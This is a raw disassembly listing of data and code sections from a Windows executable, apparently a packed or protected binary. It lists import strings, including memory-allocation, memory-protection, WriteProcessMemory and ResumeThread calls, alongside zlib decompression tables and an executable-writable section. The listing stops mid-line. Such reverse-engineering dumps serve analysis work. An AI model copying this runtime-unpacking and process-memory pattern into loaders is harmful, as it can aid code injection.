aLoadlibraryexw db 'LoadLibraryExW',0 ; DATA XREF: _6:004E12ECo align 4 aFreelibrary_1 db 'FreeLibrary',0 ; DATA XREF: _6:004E12CCo aGetprocaddre_1 db 'GetProcAddress',0 ; DATA XREF: _6:004E12F4o align 10h aLoadimagea_0 db 'LoadImageA',0 ; DATA XREF: _6:004E13DCo align 4 aMapviewoffil_0 db 'MapViewOfFile',0 ; DATA XREF: _6:004E12BCo align 4 aUnmapviewoff_1 db 'UnmapViewOfFile',0 ; DATA XREF: _6:004E12C4o aGetfileattri_3 db 'GetFileAttributesA',0 ; DATA XREF: _6:004E126Co align 10h aGetfileattri_4 db 'GetFileAttributesW',0 ; DATA XREF: _6:004E1274o align 4 aGetfileattri_5 db 'GetFileAttributesExW',0 ; DATA XREF: _6:004E127Co align 4 aGetmodulehan_1 db 'GetModuleHandleA',0 ; DATA XREF: _6:004E1354o align 10h aGetmodulehan_2 db 'GetModuleHandleW',0 ; DATA XREF: _6:004E135Co align 4 aGetmodulefil_1 db 'GetModuleFileNameA',0 ; DATA XREF: _6:004E13ACo align 4 aGetmodulefil_2 db 'GetModuleFileNameW',0 ; DATA XREF: _6:004E13B4o align 4 aGetlongpathn_1 db 'GetLongPathNameA',0 ; DATA XREF: _6:004E13BCo align 10h aGetlongpathn_2 db 'GetLongPathNameW',0 ; DATA XREF: _6:004E13C4o align 4 aSearchpathw db 'SearchPathW',0 ; DATA XREF: sub_4DA226+B2o ; _6:004E1364o aSearchpatha_0 db 'SearchPathA',0 ; DATA XREF: sub_4DA1C7+Do ; _6:004E136Co aAddfontresou_0 db 'AddFontResourceA',0 ; DATA XREF: sub_4DB23E+Ao ; _6:004E13CCo align 10h aRemovefontre_0 db 'RemoveFontResourceA',0 ; DATA XREF: sub_4DB277+Ao ; _6:004E13D4o aFindfirstfil_1 db 'FindFirstFileA',0 ; DATA XREF: _6:004E12FCo align 4 aFindfirstfilew db 'FindFirstFileW',0 ; DATA XREF: sub_4DA361+92o ; _6:004E1304o align 4 aFindclose_1 db 'FindClose',0 align 10h aFindnextfile_1 db 'FindNextFileA',0 ; DATA XREF: _6:004E131Co align 10h aFindnextfilew db 'FindNextFileW',0 ; DATA XREF: sub_4DA657+2Eo ; _6:004E1324o align 10h aFindfirstfilee db 'FindFirstFileExW',0 ; DATA XREF: sub_4DA4AA+92o ; _6:004E130Co align 4 a_lopen db '_lopen',0 ; DATA XREF: sub_4DB636+25o ; _6:004E1334o align 4 aOpenfile db 'OpenFile',0 ; DATA XREF: sub_4DB582+93o ; _6:004E132Co align 4 a_lread db '_lread',0 ; DATA XREF: sub_4DB711+27o ; _6:004E1344o align 10h a_llseek db '_llseek',0 ; DATA XREF: sub_4DB6CC+20o ; _6:004E134Co a_lclose db '_lclose',0 ; DATA XREF: sub_4DB677+23o ; _6:004E133Co aCocreateinstan db 'CoCreateInstance',0 ; DATA XREF: sub_4D9518+C7o ; _6:004E13E4o align 4 aCocreateinst_0 db 'CoCreateInstanceEx',0 ; DATA XREF: sub_4D9789+73o ; _6:004E13ECo align 4 aCogetclassobje db 'CoGetClassObject',0 ; DATA XREF: sub_4D98C0+ACo ; _6:004E13F4o align 4 aGetprivatepr_2 db 'GetPrivateProfileStringA',0 ; DATA XREF: _6:004E1374o align 4 aGetprivatepr_3 db 'GetPrivateProfileIntA',0 ; DATA XREF: _6:004E137Co align 10h aGetprivatepr_4 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _6:004E1384o align 10h aGetprivatepr_5 db 'GetPrivateProfileSectionA',0 ; DATA XREF: _6:004E138Co align 4 aGetfileinfor_0 db 'GetFileInformationByHandle',0 ; DATA XREF: _6:004E1394o align 4 aLockfile_0 db 'LockFile',0 ; DATA XREF: _6:004E139Co align 4 aLockfileex db 'LockFileEx',0 align 10h aUnlockfile_0 db 'UnlockFile',0 ; DATA XREF: _6:004E13A4o align 4 aUnlockfileex db 'UnlockFileEx',0 align 4 aGetrecordinf_0 db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_4D9A34+D2o ; _6:004E13FCo align 4 aGetrecordinfof db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_4D99C5+35o align 10h aLoadregtypelib db 'LoadRegTypeLib',0 ; DATA XREF: sub_4D9B3C+84o ; _6:004E1404o align 10h aLoadtypelib db 'LoadTypeLib',0 ; DATA XREF: sub_4D9A34+74o ; sub_4D9B3C+4Fo align 10h dword_4DEA00 dd 0FFFFFFFFh, 4DA115h, 4DA119h, 0FFFFFFFFh, 4DA129h, 4DA12Dh ; DATA XREF: sub_4DA0C8+5o dd 0FFFFFFFFh, 4DA14Ah, 4DA14Eh, 0FFFFFFFFh, 4DA15Eh, 4DA162h dd 0FFFFFFFFh, 4DA183h, 4DA187h, 0FFFFFFFFh, 4DA197h, 4DA19Bh dword_4DEA48 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DA226+5o dd offset loc_4DA311 align 8 dword_4DEA58 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DA361+5o dd offset sub_4DA480 align 8 dword_4DEA68 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DA4AA+5o dd offset sub_4DA5D5 align 8 dword_4DEA78 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DA7DD+5o dd offset sub_4DA886 align 8 dword_4DEA88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DA8AA+5o dd offset sub_4DA9C8 align 8 dword_4DEA98 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DAB3D+5o dd offset sub_4DAC33 align 8 dword_4DEAA8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DAEAA+5o dd offset loc_4DAF44 align 8 dword_4DEAB8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DAFC6+5o dd offset sub_4DB052 align 8 dword_4DEAC8 dd 0FFFFFFFFh, 4DB0E2h, 4DB0E6h, 0FFFFFFFFh, 0 ; DATA XREF: sub_4DB076+5o dd offset sub_4DB15D dword_4DEAE0 dd 0FFFFFFFFh, 4DB1C4h, 4DB1C8h, 0 ; DATA XREF: sub_4DB18D+5o dword_4DEAF0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4DB2FE+5o dd offset sub_4DB3B1 dword_4DEAFC dd 0 ; DATA XREF: sub_4CCA80+57o ; sub_4CCDBF+52o dword_4DEB00 dd 2 dup(0) ; DATA XREF: sub_4CCA80+36o ; sub_4CCDBF+39o dword_4DEB08 dd 0FFFFFFFFh, 4CCB90h, 4CCB94h, 0FFFFFFFFh, 4CCC44h, 4CCC48h ; DATA XREF: sub_4CCA80+5o dword_4DEB20 dd 0FFFFFFFFh, 4CCEB8h, 4CCEBCh, 0DEB68h, 2 dup(0) ; DATA XREF: sub_4CCDBF+5o dd 0DECB8h, 0DE000h, 0DEBB8h, 2 dup(0) dd 0DECEEh, 0DE050h, 5 dup(0) dd 0DEBC4h, 0DEBE0h, 0DEBF2h, 0DEBFEh, 0DEC10h, 0DEC1Eh dd 0DEC32h, 0DEC4Ah, 0DEC62h, 0DEC76h, 0DEC86h, 0DEC9Ch dd 0DED52h, 0DED42h, 0DED32h, 0DECFAh, 0DED06h, 0DED1Ch dd 0DED64h, 0 dd 0DECC6h, 0DECD8h, 0 db 19h db 2, 49h, 6Eh aItializecritic db 'itializeCriticalSection',0 dd 65470198h, 6F725074h, 64644163h, 73736572h, 2520000h dd 61636F4Ch, 6572466Ch, 29B0065h, 73696152h, 63784565h dd 69747065h, 6E6Fh, 6F4C024Eh, 416C6163h, 636F6C6Ch, 1770000h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 2470000h aLeavecritica_1 db 'LeaveCriticalSection',0 align 2 aP_0 db '',0 aEntercritica_1 db 'EnterCriticalSection',0 align 2 dw 1ADh aGetshortpathna db 'GetShortPathNameA',0 dw 2C5h aResumethread db 'ResumeThread',0 align 2 dw 39Dh aWriteprocessme db 'WriteProcessMemory',0 align 4 db 90h db 1, 47h, 65h aTprivateprofil db 'tPrivateProfileSectionA',0 aKernel32_dll_2 db 'KERNEL32.dll',0 align 2 aO db '',0 aDefwindowpro_0 db 'DefWindowProcA',0 align 4 db 2 align 2 aAdjustwindowre db 'AdjustWindowRectEx',0 align 2 aUser32_dll_1 db 'USER32.dll',0 align 2 retf 5202h ; --------------------------------------------------------------------------- aTlunwind db 'tlUnwind',0 dw 387h aWidechartomu_0 db 'WideCharToMultiByte',0 db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 23Ah aLcmapstringa db 'LCMapStringA',0 align 2 dw 23Bh aLcmapstringw db 'LCMapStringW',0 align 2 dw 1B2h aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701B5h, 72745374h, 54676E69h, 57657079h db 2 dup(0) _5 ends ; Section 7. (virtual address 000DF000) ; Virtual size : 00007110 ( 28944.) ; Section size in file : 00007110 ( 28944.) ; Offset to raw data for section: 000DF000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _6 segment para public 'CODE' use32 assume cs:_6 ;org 4DF000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_4DBC4B+81Do align 4 aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_4DBC4B+783o aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_4DBC4B+6CCo align 10h aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_4DBC4B+66Bo align 4 aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_4DC61A+4BBo ; sub_4DCBEB+23Eo align 4 aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_4DC61A+486o ; sub_4DCBEB+28Do byte_4DF0A8 db 31h ; DATA XREF: sub_4DCF41+15r ; sub_4DD9F3+2Fo db 2Eh, 31h, 2Eh dd 34h aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_4DD043+307o aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_4DD043+230o align 4 aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_4DD043+ECo align 10h aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_4DD043+9Co aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_4DD043+79o align 10h dword_4DF120 dd 9 ; DATA XREF: sub_4DD8AF+6r dword_4DF124 dd 5 ; DATA XREF: sub_4DD8AF+11r dword_4DF128 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_4DD8AF+1Co dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_4E0128 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_4DD8AF+25o dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_4DD3A6+66o aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_4DD3A6+4Eo aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_4DD7AC:loc_4DD891o align 4 aOversubscrib_1 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_4DD7AC+D7o align 4 aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_4DD7AC:loc_4DD875o align 4 aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_4DD7AC+BBo align 4 aOversubscrib_0 db 'oversubscribed distance tree',0 ; DATA XREF: sub_4DD7AC+ADo align 4 dword_4E0318 dd 0 ; DATA XREF: sub_4DBC4B:loc_4DC07Fr ; sub_4DBC4B+4C0r ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh aGetcurrentproc db 'GetCurrentProcess',0 ; DATA XREF: sub_4CD2E0+1E4o ; sub_4CE2E0+16Bo align 10h aFlushinstructi db 'FlushInstructionCache',0 ; DATA XREF: sub_4CD2E0:loc_4CD4B0o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4CD2E0+1ABo ; sub_4CDDD0+1Do ... align 4 aBarier db 'BARIER',0 ; DATA XREF: sub_4CD2E0+4Co align 10h aWindowsntUnkno db 'WindowsNT(unknown)',0 ; DATA XREF: _4:loc_4CE1D5o ; _4:loc_4CE1E1o align 4 aWindows_net db 'Windows.NET',0 ; DATA XREF: _4:004CE1C9o aWindowsxp db 'WindowsXP',0 ; DATA XREF: _4:004CE1B1o align 4 aWindows2000 db 'Windows2000',0 ; DATA XREF: _4:004CE199o aWindowsnt4_0 db 'WindowsNT(4.0)',0 ; DATA XREF: _4:004CE175o align 4 aWindowsnt3_51 db 'WindowsNT(3.51)',0 ; DATA XREF: _4:004CE15Ao aWindows9xUnkno db 'Windows9x(unknown)',0 ; DATA XREF: _4:loc_4CE13Fo align 4 aWindowsme db 'WindowsMe',0 ; DATA XREF: _4:004CE133o align 4 aWindows98 db 'Windows98',0 ; DATA XREF: _4:004CE11Bo align 4 aWindows95 db 'Windows95',0 ; DATA XREF: _4:004CE103o align 10h aWin32s db 'win32s',0 ; DATA XREF: _4:loc_4CE0E8o align 4 aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: _4:loc_4CDE99o ; sub_4CE2E0+52Bo align 4 aCreatethread db 'CreateThread',0 ; DATA XREF: sub_4CE2E0+86Do align 4 aPostmessagea db 'PostMessageA',0 ; DATA XREF: sub_4CE2E0+859o align 4 aDefwindowproca db 'DefWindowProcA',0 ; DATA XREF: sub_4CE2E0+845o align 4 aEnumwindows db 'EnumWindows',0 ; DATA XREF: sub_4CE2E0+831o aDestroywindo_0 db 'DestroyWindow',0 ; DATA XREF: sub_4CE2E0+81Do align 4 aDispatchmessag db 'DispatchMessageA',0 ; DATA XREF: sub_4CE2E0+809o align 4 aTranslatemessa db 'TranslateMessage',0 ; DATA XREF: sub_4CE2E0+7F5o align 4 aGetmessagea db 'GetMessageA',0 ; DATA XREF: sub_4CE2E0+7E1o aCreatewindowex db 'CreateWindowExA',0 ; DATA XREF: sub_4CE2E0+7CDo aGetsystemmetri db 'GetSystemMetrics',0 ; DATA XREF: sub_4CE2E0+7B9o align 4 aRegisterclasse db 'RegisterClassExA',0 ; DATA XREF: sub_4CE2E0+7A5o align 10h aSetforegroundw db 'SetForegroundWindow',0 ; DATA XREF: sub_4CE2E0+791o aSetactivewindo db 'SetActiveWindow',0 ; DATA XREF: sub_4CE2E0+77Do aGetwindowthrea db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_4CE2E0+769o align 10h aBitblt_0 db 'BitBlt',0 ; DATA XREF: sub_4CE2E0+755o align 4 aDeleteobject_0 db 'DeleteObject',0 ; DATA XREF: sub_4CE2E0+741o align 4 aSelectobject_0 db 'SelectObject',0 ; DATA XREF: sub_4CE2E0+72Do align 4 aGetobjecta db 'GetObjectA',0 ; DATA XREF: sub_4CE2E0+719o align 4 aEndpaint db 'EndPaint',0 ; DATA XREF: sub_4CE2E0+705o align 10h aBeginpaint db 'BeginPaint',0 ; DATA XREF: sub_4CE2E0+6F1o align 4 aRemovefontreso db 'RemoveFontResourceA',0 ; DATA XREF: sub_4CE2E0+6DDo aDeletedc_0 db 'DeleteDC',0 ; DATA XREF: sub_4CE2E0+6C9o align 4 aCreatedibsec_0 db 'CreateDIBSection',0 ; DATA XREF: sub_4CE2E0+6B5o align 10h aCreatecompat_0 db 'CreateCompatibleDC',0 ; DATA XREF: sub_4CE2E0+6A1o align 4 aAddfontresourc db 'AddFontResourceA',0 ; DATA XREF: sub_4CE2E0:loc_4CE96Do align 4 aGdi32_dll_0 db 'gdi32.dll',0 ; DATA XREF: sub_4CE2E0+668o align 4 aWvsprintfa db 'wvsprintfA',0 ; DATA XREF: sub_4CE2E0+654o align 10h aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_4CE2E0+640o align 4 aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: sub_4CE2E0+62Co aLoadimagea db 'LoadImageA',0 ; DATA XREF: sub_4CE2E0+618o align 4 aCharupperbuffa db 'CharUpperBuffA',0 ; DATA XREF: sub_4CE2E0+604o align 4 aChangedisplays db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_4CE2E0:loc_4CE8D0o align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_4CE2E0+5CBo align 4 aLstrcmpia db 'lstrcmpiA',0 ; DATA XREF: sub_4CE2E0+5B7o align 4 aWritefile db 'WriteFile',0 ; DATA XREF: sub_4CE2E0+5A3o ; sub_4D9F43+153o align 10h aWidechartomult db 'WideCharToMultiByte',0 ; DATA XREF: sub_4CE2E0+58Fo aWaitforsingleo db 'WaitForSingleObject',0 ; DATA XREF: sub_4CE2E0+57Bo ; sub_4D7494+1D4o aVirtualquery db 'VirtualQuery',0 ; DATA XREF: sub_4CE2E0+567o align 4 aVirtualprotect db 'VirtualProtect',0 ; DATA XREF: sub_4CE2E0+553o align 4 aVirtualfree db 'VirtualFree',0 ; DATA XREF: sub_4CE2E0+53Fo aUnmapviewoffil db 'UnmapViewOfFile',0 ; DATA XREF: sub_4CE2E0+517o aUnlockfile db 'UnlockFile',0 ; DATA XREF: sub_4CE2E0+503o align 10h aTerminateproce db 'TerminateProcess',0 ; DATA XREF: sub_4CE2E0+4EFo align 4 aSleep db 'Sleep',0 ; DATA XREF: sub_4CE2E0+4DBo ; sub_4D7494+25Eo align 4 aSetunhandledex db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_4CE2E0+4C7o aSetlasterror db 'SetLastError',0 ; DATA XREF: sub_4CE2E0+4B3o align 4 aSetfilepointer db 'SetFilePointer',0 ; DATA XREF: sub_4CE2E0+49Fo align 4 aSetevent db 'SetEvent',0 ; DATA XREF: sub_4CE2E0+48Bo align 4 aSetenvironment db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_4CE2E0+477o aReadfile db 'ReadFile',0 ; DATA XREF: sub_4CE2E0+463o align 4 aRaiseexception db 'RaiseException',0 ; DATA XREF: sub_4CE2E0+44Fo align 4 aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_4CE2E0+43Bo ; sub_4D7494+230o aMultibytetowid db 'MultiByteToWideChar',0 ; DATA XREF: sub_4CE2E0+427o aMapviewoffile db 'MapViewOfFile',0 ; DATA XREF: sub_4CE2E0+413o align 4 aLockfile db 'LockFile',0 ; DATA XREF: sub_4CE2E0+3FFo align 4 aLocalfree db 'LocalFree',0 ; DATA XREF: sub_4CE2E0+3EBo align 10h aLocalalloc db 'LocalAlloc',0 ; DATA XREF: sub_4CE2E0+3D7o align 4 aLoadlibraryexa db 'LoadLibraryExA',0 ; DATA XREF: sub_4CE2E0+3C3o align 4 aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_4CE2E0+3AFo align 4 aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_4CE2E0+39Bo align 4 aDeletecritical db 'DeleteCriticalSection',0 ; DATA XREF: sub_4CE2E0+387o align 4 aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_4CE2E0+373o align 4 aHeapcreate db 'HeapCreate',0 ; DATA XREF: sub_4CE2E0+35Fo align 4 aHeapfree db 'HeapFree',0 ; DATA XREF: sub_4CE2E0+34Bo align 10h aHeapalloc db 'HeapAlloc',0 ; DATA XREF: sub_4CE2E0+337o align 4 aGettickcount db 'GetTickCount',0 ; DATA XREF: sub_4CE2E0+323o align 4 aGetversionexa db 'GetVersionExA',0 ; DATA XREF: sub_4CE2E0+30Fo align 4 aGettemppatha db 'GetTempPathA',0 ; DATA XREF: sub_4CE2E0+2FBo ; sub_4D7494+92o align 4 aGettempfilenam db 'GetTempFileNameA',0 ; DATA XREF: sub_4CE2E0+2E7o align 10h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_4CE2E0+2D3o aGetprocaddress db 'GetProcAddress',0 ; DATA XREF: 